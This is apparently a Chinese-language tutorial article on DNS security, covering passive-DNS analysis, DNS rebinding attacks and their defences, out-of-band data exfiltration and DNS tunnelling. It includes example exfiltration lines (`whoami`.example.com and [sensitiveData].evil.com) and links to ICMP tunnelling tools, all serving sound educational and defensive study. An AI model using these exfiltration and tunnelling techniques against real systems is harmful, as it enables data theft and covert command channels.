DNS安全皮毛(一)
字数 2012 2025-08-26 22:12:02
DNS安全深度解析
背景介绍
DNS安全是网络安全领域的重要组成部分,本文基于2019年的研究成果,整合了DNS安全领域的多项技术和攻防对抗方法,涵盖了DNS数据收集与分析、DNS重绑定攻击、带外数据攻击以及DNS隧道技术等关键内容。
DNS数据收集与分析
开放DNS数据库
- Rapid7开放DNS数据库:
- 提供FDNS(Forward DNS)和RDNS(Reverse DNS)数据
- 访问地址:
- FDNS: https://opendata.rapid7.com/sonar.fdns_v2/
- RDNS: https://opendata.rapid7.com/sonar.rdns_v2/
- 提供API接口:https://opendata.rapid7.com/apihelp/
- 其他数据库:如DnsDB等,建议交叉使用以满足不同需求
Passive DNS
Passive DNS是被动获取的DNS数据信息,与普通DNS数据的关键区别:
- 历史数据包含:不仅包含当前DNS数据,还包括历史映射关系
- 全局视角:通过流量抓取工具获取全局DNS数据
- 威胁发现:通过历史数据变更可发现隐藏关系链和未知威胁
域名关联分析
通过以下公式计算域名间联系权重:
w(d1,d2) = 1 - 1/|I(d1)∩I(d2)|
其中I(d)表示域名d映射的IP地址集合
应用实例:
- 分析恶意域名3322.org的二级域名关联
- 通过权重关系分析未知域名与已知恶意域名的关联性
路径关联分析
对于非直接关联的域名(如D2与D6),通过中间路径分析关联性:
- 定义所有可能路径
- 选择关联性最强的路径(assoc(P)最大值)
- 计算路径权重(考虑路径长度折扣)
恶意性评估公式
mal(d,S) = Σ(rank(M(d),i) * (|S| - i + 1))
其中:
- S为已知恶意域名集合
- M(d)为d与S中各元素的关联值排序列表
- rank函数获取元素在列表中的位置
公有云干扰处理
- IP排除法:剔除承载超过阈值t个域名的IP
- ASN分析法:通过AS编号和whois信息判断IP归属
DNS重绑定攻击(DNS Rebinding)
攻击原理
绕过同源策略(SOP)限制进行内网攻击:
- 第一次解析到外部合法域名
- 第二次解析到内网地址
实现方式
- 同一域名配置多个A记录(1996年JVM攻击手法)
- 极短TTL设置
- 利用浏览器Pinning时间差异
- 利用Flash crossdomain.xml漏洞(已过时)
防御措施
防火墙层面
- 关闭对外53端口,本地DNS服务器处理外部域名映射
- 部署dnswall
- 阻断对127回环地址的DNS解析请求
插件安全
- Flash设置严格policy文件
- Java使用CONNECT方法
- Java LiveConnect使用浏览器统一缓存池
浏览器安全
- Host字段检查:防止一个IP承载多个主机域名
- 源信息细粒化:比对公钥等额外信息
- 智能化Pinning:
- "C类固定":只允许同C类地址重绑定
- 遵循RFC1938阻止公网与私网IP间重绑定
- 基于协议的Pinning:参考服务器policy措施
- 避免Pinning缺陷:
- 浏览器与插件共享pin数据库
- 缓存同时存储URL和IP地址
- 防范document.domain篡改
主机名授权
通过DNS records实现白名单授权:
171.64.78.146.auth.ip.in-addr.arpa. IN TXT "www.example.com"
www.example.com.auth.171.64.78.146.ip.in-addr.arpa. IN A 171.64.78.146
高级绕过技术
-
HTTP DoS:
- 使目标主机拒绝服务
- 迫使浏览器放弃缓存,发起新DNS请求
-
交互式DNS Rebinding:
- 结合DNS缓存泛洪攻击
- 使用WebSocket维持连接接收指令
- 构造诱惑页面保持用户驻留
防御措施:
- 增加DNS缓存大小
- 智能化缓存清洗(优先清洗无效条目)
- 严格Host字段检查
带外数据攻击(OOB)
常见应用场景
- SQL注入
- XSS攻击
- XXE漏洞
- 新漏洞利用初期(如Weblogic CVE-2017-10271)
- 绕过安全设备
典型利用方式
通过DNS协议外带数据:
`whoami`.example.com
DNS隧道技术
技术特点
- 隐蔽性强
- 支持交互式通信
- 可用于C&C通信(如WannaCry、XshellGhost)
记录类型利用
- A/AAAA记录:单向数据外带
- PTR记录:
- 分段存储payload
- 后门按顺序读取并拼接
- TXT记录:直接存储完整命令
渗透测试应用
-
增强型XSS攻击:
- 通过XHR读取TXT记录获取最新脚本
- 通过二级域名外带敏感数据
- 示例:
[sensitiveData].evil.com
-
ICMP隧道替代方案:
- MIT Ptunnel:http://www.mit.edu/afs.new/sipb/user/golem/tmp/ptunnel-0.61.orig/web/
- icmpsh:http://inquisb.github.io/icmpsh/
总结
DNS安全涉及多个层面的攻防对抗,从数据收集分析到各种攻击技术的演进,安全防护措施也需要不断升级。理解这些技术原理对于网络安全研究和实践具有重要意义。